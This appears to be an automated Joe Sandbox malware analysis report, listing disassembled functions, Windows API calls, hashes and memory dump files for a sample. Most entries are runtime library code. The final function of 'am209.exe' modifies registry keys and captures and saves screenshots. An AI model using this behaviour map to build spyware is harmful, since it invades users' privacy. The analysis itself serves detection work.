Function 00947E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00947F2E,00000000,?,00956E10,?,?,?,00947E65,00000004,InitializeCriticalSectionEx,0094E57C,0094E584), ref: 00947E9F
GetLastError.KERNEL32(?,00947F2E,00000000,?,00956E10,?,?,?,00947E65,00000004,InitializeCriticalSectionEx,0094E57C,0094E584,00000000,?,0093E1DC), ref: 00947EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00947ED1

Strings

api-ms-, xrefs: 00947EB6

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6771a7867dad48078ef6508833fa2873115e5ac4c32d0fb417165f7b67d9faa9
Instruction ID: 30742c3c90040b4332b8c661fdc888aeceecb0bd48b1185ed8ab8c0c6b50e1e2
Opcode Fuzzy Hash: 6771a7867dad48078ef6508833fa2873115e5ac4c32d0fb417165f7b67d9faa9
Instruction Fuzzy Hash: 9DE0487029830DB7DB115FA2DC06F5A7B5DDB50B96F108060FA4DB84F1D7619D5097C4

Function 0094562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(AF845AA1,00000000,00000000,?), ref: 00945690

Part of subcall function 0093E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093FDE8,?,00000000,-00000008), ref: 0093E6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009458E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00945928
GetLastError.KERNEL32 ref: 009459CB

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: ed5e42dea3695f44394c92c80889978ee6d489f47de8e6110f93c795b484e837
Instruction ID: fff0d43ff9b2f465f0448b014092031e9cfdaab7cc13d101bdfc7d83ef565891
Opcode Fuzzy Hash: ed5e42dea3695f44394c92c80889978ee6d489f47de8e6110f93c795b484e837
Instruction Fuzzy Hash: B5D19CB5D04648DFCF15CFE8D880AAEBBB9FF49310F25452AE856EB352D630A941CB50

Function 0093D8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0093D976
___AdjustPointer.LIBCMT ref: 0093D999
___AdjustPointer.LIBCMT ref: 0093DA35

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 463d4d48b75afdd6b30d5db4df985f81d6eda6c47d3407cd4db8cf9629e88af8
Instruction ID: adf4db6fc4b0e8c8fb78c0fab670136a19c4e0c7c887cbc231e493ffeddf2c00
Opcode Fuzzy Hash: 463d4d48b75afdd6b30d5db4df985f81d6eda6c47d3407cd4db8cf9629e88af8
Instruction Fuzzy Hash: 9E51027660B606AFDB299F50E861B7AB7B8FF44310F24442DE8469B291E731ED40CF90

Function 00943537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0093E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093FDE8,?,00000000,-00000008), ref: 0093E6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0094359B
__dosmaperr.LIBCMT ref: 009435A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009435DC
__dosmaperr.LIBCMT ref: 009435E3

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 7b4e3e4668a4326226c8ee13e6101645c4b421aadc11c71a065ba6a6583ecc3d
Instruction ID: 02a9785ed109a9c1bd6f9b778540c073486691d367cbd35f95ff0c2f74444385
Opcode Fuzzy Hash: 7b4e3e4668a4326226c8ee13e6101645c4b421aadc11c71a065ba6a6583ecc3d
Instruction Fuzzy Hash: 1C21A471600705AFDB20AF769881D6BBBADFF40364B10C519F86D97651EB30EF508B91

Function 00938042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437c48e4b6236e39c8d99851457295adc2c7f62693cd50bc29e97a5956c3be09
Instruction ID: f4c4d35a27c09b8fa4d0824d0a87de9a3e14d90e3c7128c341eb2a243832944e
Opcode Fuzzy Hash: 437c48e4b6236e39c8d99851457295adc2c7f62693cd50bc29e97a5956c3be09
Instruction Fuzzy Hash: F721C671218305AFDB24AF61CC40AABB7ADFF80364F104529F86597551DF31EC108FA1

Function 0094484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00944857

Part of subcall function 0093E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093FDE8,?,00000000,-00000008), ref: 0093E6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0094488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009448AF

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 76b35dd9053b003db44caa637adeecc5a6959392eaf7d85149e92ad80647dee5
Instruction ID: 6c591be1d56a5ee3ccd0b22735dca55301fc10a8d36ad0ff58aa225cd31d4837
Opcode Fuzzy Hash: 76b35dd9053b003db44caa637adeecc5a6959392eaf7d85149e92ad80647dee5
Instruction Fuzzy Hash: F311F9F6516665BF6B1227B6AC8EEBF7E5CDEC53D97200434F401D1241FA64CE019670

Function 0093457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00934582
std::_Lockit::_Lockit.LIBCPMT ref: 0093458C

Part of subcall function 009324C2: std::_Lockit::_Lockit.LIBCPMT ref: 009324DE
Part of subcall function 009324C2: std::_Lockit::~_Lockit.LIBCPMT ref: 009324F7

codecvt.LIBCPMT ref: 009345C6
std::_Lockit::~_Lockit.LIBCPMT ref: 009345FD

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: f2369e121ebc9a2e727cf5a92f784be3ef482dd0f06f8a5a9d2b4ee18a8e8fb1
Instruction ID: f2483a45479eef48303c22302abec466f8d669f03d0ffdcfcbece471c50dad56
Opcode Fuzzy Hash: f2369e121ebc9a2e727cf5a92f784be3ef482dd0f06f8a5a9d2b4ee18a8e8fb1
Instruction Fuzzy Hash: 6101CC769002158BCF04EFA4D816BAE77B5FF94720F260508F411AB291CF74AE018F91

Function 0094A4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00949B0F,00000000,00000001,00000000,?,?,00945A1F,?,00000000,00000000), ref: 0094A4F7
GetLastError.KERNEL32(?,00949B0F,00000000,00000001,00000000,?,?,00945A1F,?,00000000,00000000,?,?,?,00945365,00000000), ref: 0094A503

Part of subcall function 0094A554: CloseHandle.KERNEL32(FFFFFFFE,0094A513,?,00949B0F,00000000,00000001,00000000,?,?,00945A1F,?,00000000,00000000,?,?), ref: 0094A564

___initconout.LIBCMT ref: 0094A513

Part of subcall function 0094A535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0094A4D1,00949AFC,?,?,00945A1F,?,00000000,00000000,?), ref: 0094A548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00949B0F,00000000,00000001,00000000,?,?,00945A1F,?,00000000,00000000,?), ref: 0094A528

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b5f12921ac2ddf64472e27ebbcfbd5b022cdfb0b3785b51a2eccaa54a7d4258e
Instruction ID: fc1138d030fd6cdfa54034ee2af99b4db594250ebaf470267b105fdb44c3aa84
Opcode Fuzzy Hash: b5f12921ac2ddf64472e27ebbcfbd5b022cdfb0b3785b51a2eccaa54a7d4258e
Instruction Fuzzy Hash: BCF03036064315BFCF221F96EC08E9E3F26FF883A2F004110FA1986130D6328920AB92

Function 009359A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 009359B9
GetCurrentThreadId.KERNEL32 ref: 009359C8
GetCurrentProcessId.KERNEL32 ref: 009359D1
QueryPerformanceCounter.KERNEL32(?), ref: 009359DE

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1356f11c2ef07ccef7383e53886badf8cb20be6b94434b86543dd07503161fcb
Instruction ID: a74c125e75fe87216712eeefce04c15c2f9ab29657441bce13296bbaf13e6609
Opcode Fuzzy Hash: 1356f11c2ef07ccef7383e53886badf8cb20be6b94434b86543dd07503161fcb
Instruction Fuzzy Hash: 1AF0B270D2520CEBCB00DBB5CA4998EFBF4FF1C201B918996A412E7110E730AB449F50

Function 00942117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00939266,?,?,?,00000055,?,-00000050,?,?,?), ref: 009421D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00939266,?,?,?,00000055,?,-00000050,?,?), ref: 0094220D

Strings

utf8, xrefs: 009422DF

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 92e741214cafaf685602a3d8e8cf7a476fc2b541afc823f5aa77a87495b55044
Instruction ID: a539aae5f98427e507d02dcf513a819c9d09c9d2a265751d8c30b22c917ea7f7
Opcode Fuzzy Hash: 92e741214cafaf685602a3d8e8cf7a476fc2b541afc823f5aa77a87495b55044
Instruction Fuzzy Hash: F6510871644301AADB25AF748C82FAB73BCFF88B44F940429FA15DB185FAB4E940C761

Function 0093DFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0093DEAD,?,?,00000000,00000000,00000000,?), ref: 0093DFD1

Strings

RCC, xrefs: 0093DFEB
MOC, xrefs: 0093DFE3

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b630a504fe83bc7839f90d9d3361d3f9dded4d49355d6f1f7d4b29a0c36af02a
Instruction ID: a6cfa576633495618ee8db752cfb7bf67d79427e27a57d1eae68840729d5da47
Opcode Fuzzy Hash: b630a504fe83bc7839f90d9d3361d3f9dded4d49355d6f1f7d4b29a0c36af02a
Instruction Fuzzy Hash: 00415975904209AFCF2ADF98DC81AEEBBB9FF48304F188059FA046B2A1D3759950DF50

Function 0093D818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0093DA8F

Strings

csm, xrefs: 0093DAB1
csm, xrefs: 0093DB22

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 97728047e148cf3a0b113570eb6a29380c5a9aad69d9fb586ceb6bcc94a41fd0
Instruction ID: fcfcdbcb3028653640fccb8158b0a65863904215c99f954652ea1f7b1d9f6ef4
Opcode Fuzzy Hash: 97728047e148cf3a0b113570eb6a29380c5a9aad69d9fb586ceb6bcc94a41fd0
Instruction Fuzzy Hash: 1C310732906348DBCF228F50EC609AABB79FF08365F194559FC544A221C332CD61DF91

Function 009329D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0095648C,ios_base::badbit set,?,?,00931C84,00956478,00931B17), ref: 009329DF
ReleaseSRWLockExclusive.KERNEL32(0095648C,?,?,00931C84,00956478,00931B17), ref: 00932A19

Strings

ios_base::badbit set, xrefs: 009329D8

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: f927515f817bc1f4d27b08bd69af000511b9f7c293ef5578d4ce896150d6e0f8
Instruction ID: 104ddcac3611ae660bc3537319074fa6ada4d725f2bf8d1a64a8cabf2fe5d1f9
Opcode Fuzzy Hash: f927515f817bc1f4d27b08bd69af000511b9f7c293ef5578d4ce896150d6e0f8
Instruction Fuzzy Hash: 6EF0A030514700DFCB20AF1AE904B25BBB8FB85776F20432EE89A872E0C7352842EF51

Function 009388A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 009388A7
GetCommandLineW.KERNEL32 ref: 009388B2

Strings

4T, xrefs: 009388AD

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: CommandLine
String ID: 4T
API String ID: 3253501508-857600646
Opcode ID: 87295775acbded66bc0ea0a1411c74119071e0501a0a11ee7fd4ec5f713944f9
Instruction ID: cb5beddc50898aacd5745b8ec0396b51008681abd22487459292c271d5083a0b
Opcode Fuzzy Hash: 87295775acbded66bc0ea0a1411c74119071e0501a0a11ee7fd4ec5f713944f9
Instruction Fuzzy Hash: ACB092B882D300CFD740CFB3B82C2453BA0B2092433C0C156D862D3B60D6758540FF00

Analysis Process: am209.exePID: 4248, Parent PID: 3236COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29%
Total number of Nodes:	500
Total number of Limit Nodes:	10

Executed Functions

Function 001261F0 Relevance: 84.0, APIs: 40, Strings: 7, Instructions: 1737registrywindowfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,63240FED,63240FED), ref: 0012639C
RegQueryValueExA.KERNELBASE(63240FED,?,00000000,00000000,?,00000400,?,?,00000000,00000001,63240FED,63240FED), ref: 001263CA
RegCloseKey.KERNELBASE(63240FED,?,?,00000000,00000001,63240FED,63240FED), ref: 001263D6
RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 001264E3
RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00126511
RegCloseKey.ADVAPI32(80000001), ref: 0012651A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0012663C
RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0012665F

Part of subcall function 001261F0: RegOpenKeyExA.ADVAPI32(?,00000000), ref: 001267BD
Part of subcall function 001261F0: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00126894
Part of subcall function 001261F0: RegEnumValueA.ADVAPI32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 001268E0

RegCloseKey.ADVAPI32(80000002), ref: 00126668
RegCloseKey.ADVAPI32(?), ref: 00126D5E
GdiplusStartup.GDIPLUS(?,?,00000000,63240FED,00000000), ref: 00126DEA
GetDC.USER32(00000000), ref: 00126F62
RegGetValueA.ADVAPI32(80000002,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001271CD
GetSystemMetrics.USER32(00000000), ref: 00127226
GetSystemMetrics.USER32(00000000), ref: 0012722F
RegGetValueA.ADVAPI32(80000002,?,00000000), ref: 00127277
GetSystemMetrics.USER32(00000001), ref: 001272CA
GetSystemMetrics.USER32(00000001), ref: 001272D3
CreateCompatibleDC.GDI32(?), ref: 001272DF
CreateCompatibleBitmap.GDI32(?,?,?), ref: 001272F4
SelectObject.GDI32(00000000,00000000), ref: 00127304
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0012732A
GdipCreateBitmapFromHBITMAP.GDIPLUS(00000000,00000000,?), ref: 0012733E
GdipGetImageEncodersSize.GDIPLUS(00000000,?), ref: 0012735A
GdipGetImageEncoders.GDIPLUS(00000000,00000000,00000000), ref: 00127387
GdipSaveImageToFile.GDIPLUS(00000000,00000000,?,00000000), ref: 0012740E
SelectObject.GDI32(00000000,?), ref: 0012741B
DeleteObject.GDI32(00000000), ref: 00127428
